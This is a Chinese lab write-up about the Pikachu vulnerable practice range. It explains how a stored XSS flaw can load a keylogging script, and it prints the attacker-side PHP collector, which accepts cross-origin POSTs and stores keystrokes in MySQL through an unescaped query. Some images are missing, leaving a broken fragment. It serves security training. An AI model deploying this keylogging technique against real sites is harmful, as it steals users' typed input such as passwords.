pikachu靶场利用xss漏洞获取键盘记录
环境:
两个pikachu,一个用于攻击,一个用于被攻击
获取键盘记录的网站部署在云服务器上,记为A主机
被攻击的靶场部署在虚拟机上,记为B主机
原理
客户端在xss漏洞出构造payload并提交,服务端将提交的数据保存在数据库然后查询返回给客户端进行显示,然后客户端浏览器会将此条提交的消息当作脚本来执行,从而访问js脚本,执行脚本,脚本就可以获取到键盘记录。
脚本配置
在攻击方pikachu靶场下pikachu-master/pkxss/rkeypress
目录下有个rk.js脚本,打开并将其下图中的位置修改为攻击方的脚本位置,注意请求的脚本为rkserver.php
.
查看rkserver.php脚本
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
// 包含配置和MySQL连接文件
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
// 建立数据库连接
$link = connect();
// 设置允许跨域请求的头信息
header("Access-Control-Allow-Origin:*");
// 从POST请求中获取数据
$data = $_POST['datax'];
// 构建插入数据到'keypress'表的SQL查询
$query = "insert keypress(data) values('$data')";
// 执行SQL查询
$result = mysqli_query($link, $query);
?>
需要将跨域访问打开。攻击方配置完成
构造payload
url为脚本的存在的位置
开始测试
在pikachu存储型XSS处发现xss漏洞,构造payload脚本并进行提交。在复现的时候如果失败,可以尝试切换不通的浏览器,猜测可能有的浏览器会过滤xss。我在火狐和谷歌都失败,但在ie成功了。
点击提交后,当用户再次访问这个页面的时候并且进行键盘输入,如下输入hello
此时攻击就可以受到你的键盘记录
32498464994)]
此时攻击就可以受到你的键盘记录
[外链图片转存中…(img-9C5aKXhI-1732498464994)]
复现完毕!